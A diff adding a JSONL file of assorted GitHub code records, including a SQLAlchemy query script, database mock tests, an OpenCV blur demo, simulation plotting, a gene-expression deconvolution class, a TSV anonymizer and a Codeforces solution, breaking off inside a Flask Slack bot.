diff --git "a/1734.jsonl" "b/1734.jsonl" new file mode 100644--- /dev/null +++ "b/1734.jsonl" @@ -0,0 +1,2331 @@ +{"seq_id":"34962031123","text":"#!/usr/bin/python3\n\"\"\"\nlists the first State objects from the given database\n\"\"\"\n\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == '__main__':\n db_url = \"mysql+mysqldb://{}:{}@localhost:3306/{}\".format(\n argv[1], argv[2], argv[3])\n engine = create_engine(db_url)\n Session = sessionmaker(bind=engine)\n session = Session()\n first_row = session.query(State).order_by(State.id).first()\n if first_row is None:\n print(\"Nothing\")\n else:\n print(\"{}: {}\".format(first_row.id, first_row.name))\n","repo_name":"daniell-olaitan/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/8-model_state_fetch_first.py","file_name":"8-model_state_fetch_first.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71213269955","text":"import mock\nimport pytest\nfrom src.db_manager import dbManager\nimport psycopg2\n\n\n\n@mock.patch('src.db_manager.psycopg2.connect')\n@mock.patch('src.db_manager.time')\n@mock.patch('src.db_manager.db_config')\ndef test_db_retry(mock_config, mock_time, mock_psycopg2):\n mock_time.sleep.return_value = None\n mock_psycopg2.side_effect = psycopg2.DatabaseError()\n mock_config.return_value = {'test':'test'}\n with pytest.raises(psycopg2.DatabaseError):\n dbManager().db_connect_retry()\n\n assert mock_psycopg2.call_count == 3\n\n\n@mock.patch('src.db_manager.psycopg2')\n@mock.patch('src.db_manager.db_config')\ndef test_db_retry_connection_successful(mock_config, mock_psycopg2):\n mock_psycopg2.sleep.return_value = None\n mock_config.return_value = {'test': 'test'}\n conn = dbManager().db_connect_retry()\n assert conn is not None\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\ndef test_db_connect(mock_retry):\n mock_retry.side_effect = psycopg2.DatabaseError()\n with pytest.raises(psycopg2.DatabaseError):\n dbManager().connect_to_db()\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\ndef test_create_table(mocked_conn):\n _mock = mock.Mock()\n mocked_conn().cursor.return_value = _mock\n _mock.execute.return_value = None\n dbManager().create_table()\n\n\n\n mocked_conn.assert_called()\n _mock.execute.assert_called_once()\n _mock.execute.assert_called_with(\"\"\"CREATE TABLE REPORT (TX_ID SERIAL PRIMARY KEY,\n ID_TYPE VARCHAR(255) NOT NULL,\n ID_VALUE VARCHAR(255) NOT NULL,\n NAME VARCHAR(255) NOT NULL,\n LASTNAME VARCHAR(255) NOT NULL)\"\"\")\n mocked_conn().commit.assert_called_once()\n _mock.close.assert_called_once()\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\n@mock.patch('src.db_manager.random')\n@mock.patch('src.db_manager.logger')\ndef test_insert_row(mock_log, mock_random, mocked_conn):\n _mock = mock.Mock()\n mocked_conn().cursor.return_value = _mock\n _mock.execute.return_value = None\n data = {'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd'}\n mock_random.randint.return_value = 7\n dbManager().insert_db_record(data)\n mocked_conn.assert_called()\n _mock.execute.assert_called_once()\n _mock.execute.assert_called_with(\"\"\"INSERT INTO REPORT (TX_ID, ID_TYPE, ID_VALUE, NAME, LASTNAME) VALUES (%s,%s,%s,%s,%s)\"\"\", [7, 'a', 'b', 'c', 'd'])\n\n _mock.execute.side_effect = Exception()\n dbManager().insert_db_record(data)\n mock_log.error.assert_called()\n\n \"\"\"\n test_\n \"\"\"\n\n\n\n","repo_name":"jasrajabov/bdd-test-framework","sub_path":"tests/unittests/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3459363179","text":"'''\r\nThis code is to see the effect of various types of blur in a image. This is based on the OpenCV tutorial.\r\nAuthor: Sabhari Natarajan\r\n\r\nThe kernel size can be varied using the trackbar.\r\nThe results are shown in one single image in the order\r\n 'ORIGINAL' '2D CONVOLUTION' 'AVERAGING'\r\n 'GAUSSIAN BLUR' 'MEDIAN BLUR' 'ORIGINAL'\r\n'''\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\ndef nothing(x):\r\n pass\r\n\r\nimg = cv2.imread('Test_Lena.png')\r\ncv2.namedWindow('BLUR',1)\r\ncv2.createTrackbar('Kernel','BLUR',2,20,nothing)\r\ncv2.resizeWindow('BLUR',1080,720)\r\nk = 0\r\n\r\nwhile(k!=27):\r\n x = cv2.getTrackbarPos('Kernel','BLUR')\r\n if x<2: x=2\r\n kernel = np.ones((x,x),np.float32)/(x**2)\r\n Convolution_2D = cv2.filter2D(img,-1,kernel)\r\n Averaging = cv2.blur(img,(x,x))\r\n if x%2 == 0: x = x - 1\r\n Gauss_Blur = cv2.GaussianBlur(img,(x,x),0)\r\n if x < 3: x=3\r\n Median = cv2.medianBlur(img,x)\r\n\r\n res_a = np.concatenate((img,Convolution_2D,Averaging),axis = 1)\r\n res_b = np.concatenate((Gauss_Blur,Median,img),axis = 1)\r\n res = np.concatenate((res_a,res_b),axis = 0)\r\n scale = min(1080.0/res.shape[0],720.0/res.shape[1])\r\n res = cv2.resize(res,None,fx=scale, fy=scale, interpolation = cv2.INTER_CUBIC)\r\n cv2.imshow('BLUR',res)\r\n \r\n k = cv2.waitKey(1) & 0xFF\r\n\r\ncv2.startWindowThread()\r\ncv2.destroyAllWindows()\r\n","repo_name":"nsabhari/OpenCV_Python","sub_path":"Basic/Basic_Blur.py","file_name":"Basic_Blur.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25052310466","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport seaborn as sns\nfrom scipy import stats\nfrom scipy.interpolate import interp2d\n\n\n# loads data\nasu = pd.read_csv('./data/asu_house.csv')\n#simulation = pd.read_csv('./data/asu_house.csv')\n\ndfs = []\nfor file in ('pp','pp_uniform','no_pp',):\n df = pd.read_csv('./data/simulation/sweep_'+file+'.csv',header=4)\n df['Simulation'] = np.repeat(file.replace('_',' ').title(),len(df))\n dfs.append(df)\n\ndf = pd.concat(dfs)\ndf.rename(\n columns={\n '% Ae': 'AirExchangeRate',\n 'p_in': 'IndoorOutdoorPressure',\n 'Attenuation to groundwater, Global Evaluation: Attenuation to groundwater {gev2}': 'AttenuationGroundwater',\n 'Global Evaluation: Relative air entry rate {gev3}': 'RelativeAirEntryRate',\n 'Average crack Peclet number, Global Evaluation: Crack Peclet number {gev4}': 'Peclet',\n 'TCE in indoor air, Global Evaluation: TCE in indoor air {gev5}': 'IndoorConcentration',\n 'Global Evaluation: TCE emission rate {gev6}': 'EntryRate',\n 'Attenuation to subbase, Global Evaluation: Attenuation to subslab {gev9}': 'AttenuationSubslab',\n 'Global Evaluation: Average TCE in subslab {gev10}': 'SubslabConcentration',\n },\n inplace=True,\n)\n\n\n# data choosing\ndf['AirExchangeRate'] *= 3600 # convert from 1/s to 1/hr\ndf['logIndoorConcentration'] = df['IndoorConcentration'].apply(np.log10)\ndf['logAttenuationSubslab'] = df['AttenuationSubslab'].apply(np.log10)\ndf['logAttenuationGroundwater'] = df['AttenuationGroundwater'].apply(np.log10)\n\n#fig, ax = plt.subplots()\n\n\nclass ConstantAe:\n def __init__(self):\n\n g = sns.lmplot(\n data=asu.loc[asu['Phase']!='CPM'][['IndoorOutdoorPressure','logAttenuationAvgGroundwater','Phase']],\n x='IndoorOutdoorPressure',\n y='logAttenuationAvgGroundwater',\n hue='Phase',\n x_bins=np.linspace(-5,5,40),\n fit_reg=False,\n legend_out=False,\n legend=False,\n aspect=1.5,\n )\n\n ax = g.axes[0][0]\n sns.lineplot(\n data=df.loc[(df['AirExchangeRate'] >= 0.4) & (df['AirExchangeRate'] <= 0.6)][['IndoorOutdoorPressure','logAttenuationGroundwater','Simulation']],\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp', 'No Pp', 'Pp Uniform',],\n ax=ax,\n #legend=False,\n )\n\n\n handles, labels = ax.get_legend_handles_labels()\n handles = handles[1:]\n\n labels = (\n 'PP present',\n 'PP absent',\n 'PP present, \\ngravel sub-base\\nabsent',\n 'Data, PP open',\n 'Data, PP closed',\n )\n\n ax.legend(\n handles,\n labels,\n #ncol=2,\n loc='best',\n )\n\n ax.set_xlim([-6,6])\n ax.set_ylim([-7,-3.7])\n\n ax.set_xlabel('$\\\\Delta p_\\\\mathrm{in/out}$ (Pa)')\n ax.set_ylabel('$\\\\log{(\\\\alpha_\\\\mathrm{gw})}$')\n my_ytick_labels = [\"%1.0e\" % y_tick for y_tick in 10.0**ax.get_yticks()]\n ax.set_yticklabels(my_ytick_labels)\n ax.set_title('Modeling PP scenarios, assuming constant $A_e$,\\nand comparing to \\\"ASU house\\\" field data')\n\n\n plt.tight_layout()\n\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_constant_ae.png',dpi=300)\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_constant_ae.pdf',dpi=300)\n\n plt.show()\n return\n\n\nclass FluctuatingAe:\n def __init__(self):\n ae_describe = asu.loc[asu['Phase']!='CPM']['AirExchangeRate'].describe(percentiles=[0.05, 0.95])\n print(ae_describe)\n data = asu.loc[\n ((asu['IndoorOutdoorPressure']>=-5) & (asu['IndoorOutdoorPressure']<=5)) &\n (asu['Phase']!='CPM')\n #(\n # (asu['logAttenuationAvgGroundwater']>=quantiles[0]) &\n # (asu['logAttenuationAvgGroundwater']<=quantiles[1])\n #)\n ]\n\n\n sim = df.loc[\n (\n (df['AirExchangeRate'] >= ae_describe['min']) &\n (df['AirExchangeRate'] <= ae_describe['max'])\n )\n ]\n g = sns.lmplot(\n data=data,\n x='IndoorOutdoorPressure',\n y='logAttenuationAvgGroundwater',\n hue='Phase',\n x_bins=np.linspace(-5,5,40),\n #x_bins=20,\n fit_reg=False,\n legend_out=False,\n legend=False,\n aspect=1.5,\n )\n\n ax = g.axes[0][0]\n ax = sns.lineplot(\n data=sim,\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp', 'No Pp'],\n ax=ax,\n #legend=False,\n )\n \"\"\"\n ax = sns.lineplot(\n data=sim,\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp Uniform',],\n ax=ax,\n ci=None,\n #legend=False,\n )\n \"\"\"\n\n\n handles, labels = ax.get_legend_handles_labels()\n handles = handles[1:]\n\n labels = (\n 'PP present',\n 'PP absent',\n #'PP present, gravel sub-base absent',\n 'Data, PP open',\n 'Data, PP closed',\n )\n\n ax.legend(\n handles,\n labels,\n #ncol=2,\n loc='best',\n )\n\n ax.set_xlim([-6,6])\n ax.set_ylim([-7,-3.7])\n\n ax.set_xlabel('$\\\\Delta p_\\\\mathrm{in/out}$ (Pa)')\n ax.set_ylabel('$\\\\log{(\\\\alpha_\\\\mathrm{gw})}$')\n my_ytick_labels = [\"%1.0e\" % y_tick for y_tick in 10.0**ax.get_yticks()]\n ax.set_yticklabels(my_ytick_labels)\n ax.set_title('Modeling PP scenarios, with minimum and maximum $A_e$\\nvalues, and comparing to \\\"ASU house\\\" field data')\n\n\n plt.tight_layout()\n\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_fluctuating_ae.png',dpi=300)\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_fluctuating_ae.pdf',dpi=300)\n\n plt.show()\n return\nConstantAe()\nFluctuatingAe()\n","repo_name":"jstr0em/temporal-variability-vapor-intrusion","sub_path":"code/land_drain_scenarios.py","file_name":"land_drain_scenarios.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72535330433","text":"'''\nDescription: \nVersion: \nAuthor: Leidi\nDate: 2021-07-09 10:19:01\nLastEditors: Leidi\nLastEditTime: 2021-12-21 16:15:03\n'''\n# -*- coding: utf-8 -*-\nimport argparse\nimport os\nfrom tqdm import tqdm\n\nfrom utils.utils import *\nfrom utils.key_modify import *\n\n\ndef source_label_change_key(input_path, output_path, name_pre, input_label_style):\n \"\"\"更换源标签文件中图片文件名的key的值\"\"\"\n\n output_path_src_lab = check_output_path(output_path, 'source_label')\n change_count = 0\n for root, dirs, files in os.walk(input_path):\n for fileName in tqdm(files): # 遍历文件夹中所有文件\n if os.path.splitext(str(fileName))[-1] == check_src_lab_type(input_label_style): # 判断label格式\n count_temp = pickup_move_function(input_label_style, \n output_path_src_lab, root, fileName, name_pre) # 对应不同类别进行更名\n change_count += count_temp\n print(\"Total name change: %d save to %s.\" % (change_count, output_path_src_lab))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(prog='cleaning_2_keys.py')\n parser.add_argument('--set', default=r'/home/leidi/Dataset/hy_highway_myxb_sjt_coco2017_7_classes_input_20210805',\n type=str, help='dataset path')\n parser.add_argument('--out', default=r'/home/leidi/Dataset/hy_highway_myxb_sjt_coco2017_7_classes_output_20210805',\n type=str, help='output path')\n parser.add_argument('--pref', default=r'',\n type=str, help='rename prefix')\n parser.add_argument('--segment', '--sg', dest='segment', default='_',\n type=str, help='name split')\n parser.add_argument('--ilstyle', '--is', dest='ilstyle', default=r'ldp',\n type=str, help='input labels style: ldp, hy, myxb, nuscenes, \\\n pascal, hy_highway, coco2017, \\\n kitti, cctsdb, lisa, \\\n hanhe, yolov5_detect, yolo, \\\n sjt, ccpd')\n opt = parser.parse_args()\n\n input_path = check_input_path(opt.set)\n output_path = check_output_path(opt.out)\n input_label_style = opt.ilstyle\n segment = opt.segment\n name_pre = check_pref(opt.pref, segment)\n\n print('\\nStart source label change:')\n source_label_change_key(input_path, output_path, name_pre, input_label_style)\n print('\\nChange each label done!\\n')\n","repo_name":"leidi1989/2D_Dataset_clean","sub_path":"Tool/Dataset_cleaning/cleaning_2_keys.py","file_name":"cleaning_2_keys.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24748464337","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 25 16:16:03 2022\n\n@author: docker\n\"\"\"\nimport gc\nimport copy\nimport random\nimport itertools\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport sys\nfrom pathlib import Path\nBASE_DIR = Path(__file__).parent\n\nfrom gldadec import glda_deconv\n\nclass Deconvolution():\n def __init__(self,verbose=True):\n self.verbose = verbose\n self.marker_final_dic = None\n self.anchor_dic = None\n \n def set_marker(self,marker_final_dic,anchor_dic):\n self.marker_final_dic = marker_final_dic\n self.anchor_dic = anchor_dic\n \n def marker_redefine(self,ignore_empty=True):\n # reflect information of anchor_dic\n anchor_genes = list(itertools.chain.from_iterable(list(self.anchor_dic.values())))\n k_list = []\n v_list = []\n a_list = []\n for i,k in enumerate(self.marker_final_dic):\n if ignore_empty:\n if len(self.anchor_dic.get(k)) > 0:\n tmp_v = self.marker_final_dic.get(k)\n other = sorted(list(set(tmp_v) - set(anchor_genes)))\n new_v = sorted(other + self.anchor_dic.get(k))\n v_list.append(new_v)\n k_list.append(k)\n a_list.append(self.anchor_dic.get(k))\n else:\n # anchors were not detected\n pass\n else:\n tmp_v = self.marker_final_dic.get(k)\n other = sorted(list(set(tmp_v) - set(anchor_genes)))\n new_v = sorted(other + self.anchor_dic.get(k))\n v_list.append(new_v)\n k_list.append(k)\n a_list.append(self.anchor_dic.get(k))\n self.marker_dec_dic = dict(zip(k_list,v_list))\n self.anchor_dec_dic = dict(zip(k_list,a_list))\n \n def set_random(self,random_sets:list):\n \"\"\"\n Random states list\n ----------\n random_sets : list\n e.g. [1448, 1632, 5913, 7927, 8614,...]\n \"\"\"\n self.random_sets = random_sets\n \n def set_expression(self,df):\n \"\"\"\n Set gene expression data.\n It is better to keep as many genes as possible.\n ----------\n df : DataFrame\n Genes in rows and samples in columns.\n \"\"\"\n df.index = [t.upper() for t in df.index.tolist()] # re-index\n self.raw_df = df\n if self.verbose:\n a,b = self.raw_df.shape\n print(a,'genes')\n print(b,'samples')\n \n def expression_processing(self,random_n=0,random_genes=None):\n raw_df = copy.deepcopy(self.raw_df)\n genes = list(itertools.chain.from_iterable(list(self.marker_final_dic.values()))) # marker genes\n if random_genes is None:\n random_s = self.random_sets[0]\n random.seed(random_s)\n random_candidates = sorted(list(set(raw_df.index.tolist()) - set(genes))) # total genes - marker genes\n random_genes = random.sample(random_candidates,random_n) # choose genes from non-marker genes\n else:\n pass\n if self.verbose:\n print(len(random_genes),'genes were added at random')\n \n union = sorted(list(set(random_genes) | set(genes)))\n # FIXME: gene order might affect the estimation results\n common = sorted(list(set(raw_df.index.tolist()) & set(union)))\n final_df = raw_df.loc[common]\n self.final_int_dec = final_df.astype(int) # convert int\n self.input_mat_dec = np.array(self.final_int_dec.T,dtype='int64')\n\n # seed-topic preparation\n self.gene_names = [t.upper() for t in self.final_int_dec.index.tolist()]\n self.gene2id = dict((v, idx) for idx, v in enumerate(self.gene_names))\n \n def set_final_int(self,final_int):\n \"\"\"\n You can skip the 'set_expression()' >> 'expresison_processing()'\n ----------\n final_int : pd.DataFrame\n PBMCs, 17-002 PBMCs, 17-006 ... PBMCs, 17-060 PBMCs, 17-061\n S100A6 7 7 ... 7 7\n AGTR1 4 4 ... 4 4\n C10ORF99 4 4 ... 4 4\n ... ... ... ... ...\n SLC6A14 4 4 ... 4 4\n EPHX2 4 6 ... 4 5\n FOS 12 11 ... 11 11\n\n \"\"\"\n self.final_int_dec = final_int\n self.input_mat_dec = np.array(self.final_int_dec.T,dtype='int64')\n # seed-topic preparation\n self.gene_names = [t.upper() for t in self.final_int_dec.index.tolist()]\n self.gene2id = dict((v, idx) for idx, v in enumerate(self.gene_names))\n \n def seed_processing(self):\n \"\"\"\n Prepare seed information for use as a guide.\n \n input_mat : np.array\n samples are in rows and genes (markers) are in columns.\n array([[7, 4, 5, ..., 4, 9, 4],\n [7, 4, 5, ..., 5, 8, 4],\n [6, 4, 4, ..., 4, 9, 5],\n ...,\n [7, 4, 4, ..., 4, 8, 4],\n [7, 4, 5, ..., 4, 9, 4],\n [8, 4, 4, ..., 4, 9, 4]])\n seed_topics : dict\n seed_topics: dict\n e.g.{0: [4,3],\n 1: [4],\n 2: [1],\n 3: [1,3,5],\n 4: [1],\n 5: [7]}\n seed_k : list\n [1,3,5,7,9,11,13]\n marker_final_dic : dcit\n {'B cells memory': ['AIM2', 'CR2', 'JCHAIN'],\n 'B cells naive': ['BCL7A', 'CD24', 'FCER2', 'IL4R', 'PAX5', 'TCL1A'],\n 'Monocytes': ['ALOX5AP','C5AR1','CCR2','CD14','CD163','CD274',...]}\n\n \"\"\"\n if self.marker_dec_dic is None:\n raise ValueError('!! Final Marker Candidates were not defined !! --> run expression_processing()')\n # seed_topic preparation\n genes = list(itertools.chain.from_iterable(list(self.marker_dec_dic.values())))\n target = list(self.marker_dec_dic.keys())\n seed_topic_list = [self.marker_dec_dic.get(t) for t in target]\n seed_topics = {}\n finish_genes = []\n for t_id, st in enumerate(seed_topic_list):\n for gene in st:\n try:\n if gene in finish_genes:\n tmp = seed_topics[self.gene2id[gene]]\n seed_topics[self.gene2id[gene]] = tmp + [t_id]\n else:\n seed_topics[self.gene2id[gene]] = [t_id]\n finish_genes.append(gene)\n except:\n # not included in target expression table\n print(gene)\n pass\n \n # reliable gene\n genes = list(itertools.chain.from_iterable(list(self.anchor_dec_dic.values())))\n seed_k = []\n for g in genes:\n if self.gene2id.get(g) is None:\n #print(g)\n pass\n else:\n seed_k.append(self.gene2id.get(g))\n\n self.seed_topics = seed_topics\n # remove overlap\n seed_k = sorted(list(set(seed_k)))\n self.seed_k = seed_k\n \n if self.verbose:\n print(\"final genes:\",len(self.final_int_dec))\n print('seed number:',len(self.seed_topics))\n print(\"seed_k:\",len(self.seed_k))\n \n def conduct_deconv(self,add_topic=0,n_iter=200,alpha=0.01,eta=0.01,random_state=123,refresh=10):\n \"\"\"\n Parameters\n ----------\n add_topic : int\n The number of additional cells to be assumed in addition to the cells with markers. The default is 0.\n n_iter : int\n The number of iterations. The default is 200.\n alpha : float\n Parameter of LDA. The default is 0.01.\n eta : float\n Parameter of LDA. The default is 0.01.\n random_state : int\n The default is 123.\n refresh : TYPE, optional\n Interval for obtaining log-likelihood. The default is 10.\n\n \"\"\"\n target = list(self.marker_dec_dic.keys())\n input_mat = self.input_mat_dec\n seed_topics = self.seed_topics\n seed_k = self.seed_k\n \n # model setting\n model = glda_deconv.GLDADeconvMS(\n n_topics=len(target)+add_topic,\n n_iter=n_iter, \n alpha=alpha,\n eta=eta, \n random_state=random_state,\n refresh=refresh\n )\n \n model.fit(input_mat,seed_topics=seed_topics,initial_conf=1.0,seed_conf=0.0,other_conf=0.0,fix_seed_k=True,seed_k=seed_k) # free to move\n # plot log-likelihood\n ll = model.loglikelihoods_\n x = [i*refresh for i in range(len(ll))]\n plt.plot(x,ll)\n plt.xlabel('iterations')\n plt.ylabel('log-likelihood')\n plt.show()\n \n # confirm the correlation\n target_res = model.doc_topic_\n res = pd.DataFrame(target_res)\n res.index = self.final_int_dec.columns.tolist()\n if len(res.T) > len(target):\n target = target+[i+1 for i in range(add_topic)]\n res.columns = target\n else:\n res.columns = target\n \n self.deconv_res = res\n\n del model\n gc.collect()\n \n def ensemble_deconv(self,add_topic=0,n_iter=200,alpha=0.01,eta=0.01,refresh=10,initial_conf=1.0,seed_conf=1.0,other_conf=0.0,fix_seed_k=True,verbose=False):\n target = list(self.marker_dec_dic.keys())\n input_mat = self.input_mat_dec\n seed_topics = self.seed_topics\n seed_k = self.seed_k\n # ensemble\n total_res = []\n total_res2 = []\n gene_contribution = []\n ll_list = []\n for idx,rs in enumerate(self.random_sets):\n add_topic=add_topic\n # model setting\n model = glda_deconv.GLDADeconvMS(\n n_topics=len(target)+add_topic,\n n_iter=n_iter, \n alpha=alpha,\n eta=eta, \n random_state=rs,\n refresh=refresh,\n verbose=verbose\n )\n model.fit(input_mat,seed_topics=seed_topics,\n initial_conf=initial_conf,seed_conf=seed_conf,other_conf=other_conf,fix_seed_k=fix_seed_k,seed_k=seed_k)\n # plot log-likelihood\n ll = model.loglikelihoods_\n ll_list.append(ll)\n \n # deconv res\n target_res = model.doc_topic_\n res = pd.DataFrame(target_res)\n res.index = self.final_int_dec.columns.tolist()\n\n gc_df = pd.DataFrame(model.word_topic_,index=self.final_int_dec.index.tolist()) # (gene, topic)\n init_df = pd.DataFrame(model.initial_freq,columns=self.final_int_dec.index.tolist()) # (topic, gene)\n \n if len(res.T) > len(target):\n new_target = target+[i+1 for i in range(add_topic)]\n else:\n new_target = target\n\n res.columns = new_target\n gc_df.columns = new_target\n init_df.index = new_target\n\n #norm_res = pc.standardz_sample(res) # sample-wide\n total_res.append(res)\n total_res2.append(init_df)\n gene_contribution.append(gc_df)\n if self.verbose:\n print(idx+1,end=\" \")\n \n del model\n gc.collect()\n \n self.total_res = total_res\n self.total_res2 = total_res2\n self.ll_list = ll_list\n self.gene_contribution = gene_contribution\n\n \ndef main():\n in_path = '/mnt/AzumaDeconv/github/GLDADec/Dev/test_data/'\n raw_df = pd.read_csv('/mnt/AzumaDeconv/github/GLDADec/data/GSE65133/GSE65133_expression.csv',index_col=0)\n random_sets = pd.read_pickle('/mnt/AzumaDeconv/github/GLDADec/data/random_info/10_random_sets.pkl')\n marker_final_dic = pd.read_pickle(in_path+'marker_final_dic.pkl')\n anchor_dic = pd.read_pickle('/mnt/AzumaDeconv/Topic_Deconv/GuidedLDA/221027_GSE65133/221101_CellMarker/221229_threshold_impact/results/anchor_list/anchor_dic_rel10_v1.pkl')\n \n Dec = Deconvolution()\n Dec.set_marker(marker_final_dic=marker_final_dic,anchor_dic=marker_final_dic)\n Dec.marker_redefine()\n Dec.set_expression(df=raw_df)\n Dec.set_random(random_sets=random_sets)\n Dec.expression_processing(random_n=0)\n Dec.seed_processing()\n #Dec.conduct_deconv(add_topic=0,n_iter=200,alpha=0.01,eta=0.01,random_state=123,refresh=10)\n Dec.ensemble_deconv(add_topic=0,n_iter=200,alpha=0.01,eta=0.01,refresh=10)\n \n marker_dec_dic = Dec.marker_dec_dic\n anchor_dec_dic = Dec.anchor_dec_dic\n \n total_res = Dec.total_res\n out_path = '/mnt/AzumaDeconv/Topic_Deconv/GuidedLDA/221027_GSE65133/221101_CellMarker/221229_threshold_impact/results/'\n pd.to_pickle(total_res,out_path+'total_res_original.pkl')\n \nif __name__ == '__main__':\n main()","repo_name":"mizuno-group/GLDADec","sub_path":"run/dev3_deconvolution.py","file_name":"dev3_deconvolution.py","file_ext":"py","file_size_in_byte":13310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40227633491","text":"import argparse\nimport sys\nimport uuid\n\ndescription = \"\"\"\ntsvanon.py - Anonymize ids in tsv files\n\nmethods:\n- rows: anonymize first column of all rows (except the first row)\n- cols: anonymize all columns of first row (except the first column)\n- both: anonymize both of the above\n- keep: anonymize both columns and rows, keep matching pairs\n\nWith the keep method, any id in the rows that is identical with an id in the columns\n(or vice versa) will be replaced with identical values in both row and column.\n\"\"\"\n\ndef generate_random_id():\n return uuid.uuid4().hex[:8].upper()\n\ndef anonymize_header_line(outfile, headers):\n outfile.write(headers[0])\n anonymized_ids = list()\n for a in range(0, len(headers) - 1):\n anonymized_id = generate_random_id()\n anonymized_ids.append(anonymized_id)\n outfile.write('\\t')\n outfile.write(anonymized_id)\n outfile.write('\\n')\n def id_generator (input_list):\n for element in input_list:\n yield element\n return id_generator(anonymized_ids)\n\ndef anonymize_data_line(outfile, line, id=None):\n if id:\n outfile.write(id)\n else:\n outfile.write(generate_random_id())\n outfile.write(line[line.index('\\t'):])\n\nparser = argparse.ArgumentParser(\n prog = 'tsvanon',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description = description)\nparser.add_argument('-m', '--method', required=True, choices=['rows', 'cols', 'both', 'keep'])\nparser.add_argument('-i', '--infile', required=True, help='Filename or path for input file')\nparser.add_argument('-o', '--outfile', required=True, help='Filename or path for output file')\nargs = parser.parse_args()\n\nif args.infile == args.outfile:\n sys.exit(\"Input and output cannot be the same file.\")\n\nwith open(args.infile, 'r') as infile, open(args.outfile, 'w') as outfile:\n if args.method == 'rows':\n outfile.write(next(infile))\n for line in infile:\n anonymize_data_line(outfile, line)\n elif args.method == 'cols':\n headers = next(infile).split('\\t')\n anonymize_header_line(outfile, headers)\n for line in infile:\n outfile.write(line)\n elif args.method == 'both':\n headers = next(infile).split('\\t')\n anonymize_header_line(outfile, headers)\n for line in infile:\n anonymize_data_line(outfile, line)\n elif args.method == 'keep':\n headers = next(infile).split('\\t')\n anonymized_ids = anonymize_header_line(outfile, headers)\n for line in infile:\n anonymize_data_line(outfile, line, id=next(anonymized_ids))","repo_name":"ssi-dk/tsvanon","sub_path":"tsvanon.py","file_name":"tsvanon.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31826408476","text":"\"\"\"\nProblem Statement : https://codeforces.com/contest/1527/problem/A\n\nA. And Then There Were K\n\ntime limit per test : 1 second\nmemory limit per test : 256 megabytes\ninputstandard input\noutputstandard output\nGiven an integer n, find the maximum value of integer k such that the following \ncondition holds:\n\nn & (n−1) & (n−2) & (n−3) & ... (k) = 0\nwhere & denotes the bitwise AND operation.\nInput\nThe first line contains a single integer t (1≤t≤3⋅104). Then t test cases follow.\n\nThe first line of each test case contains a single integer n (1≤n≤109).\n\nOutput\nFor each test case, output a single integer — the required integer k.\n\nExample\ninputCopy\n3\n2\n5\n17\noutputCopy\n1\n3\n15\nNote\nIn the first testcase, the maximum value for which the continuous & operation \ngives 0 value, is 1.\n\nIn the second testcase, the maximum value for which the continuous & operation gives \n0 value, is 3. No value greater then 3, say for example 4, will give the & sum 0.\n\n5&4≠0,\n5&4&3=0.\nHence, 3 is the answer.\n\n\"\"\"\n\n# My Trails Passed for Public Test cases only\n\n\ndef solve():\n n = I(input())\n temp = n\n and_product = I('111111111111', 2)\n count = 0\n while and_product != 0:\n and_product = and_product & n\n n = n-1\n count += 1\n return temp-(count-1)\n\n\n# As you can see the pattern of solution its output is 2**msb -1\ndef solve2():\n n = I(input())\n binary = bin(n)[2:]\n msb = len(binary) - 1\n return 2**msb - 1\n\n\nif __name__ == '__main__':\n R = range\n I = int\n def listInput(): return [I(x) for x in input().strip().split(\" \")]\n mod = 10000007\n inf = float('inf')\n for t in R(I(input())):\n print(solve2())\n","repo_name":"UdayKiranPadhy/DS-And-Algo","sub_path":"Algorithms And Techniques/Bit Manupulation/26-And Then There were K.py","file_name":"26-And Then There were K.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25412749009","text":"import os\nimport hmac\nimport hashlib\nimport configparser\nimport datetime\nimport json\nimport requests\n\nfrom flask import abort, Flask, jsonify, request\nfrom slack import WebClient\nfrom slack.errors import SlackApiError\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['TESTING'] = True\nconfigParser = configparser.ConfigParser()\nconfigParser.read('./bot.config')\n\nclient = WebClient(token=configParser.get('bot', 'SLACK_ACCESS_TOKEN'))\n\ndef is_request_valid(request):\n \"\"\"\n check to see 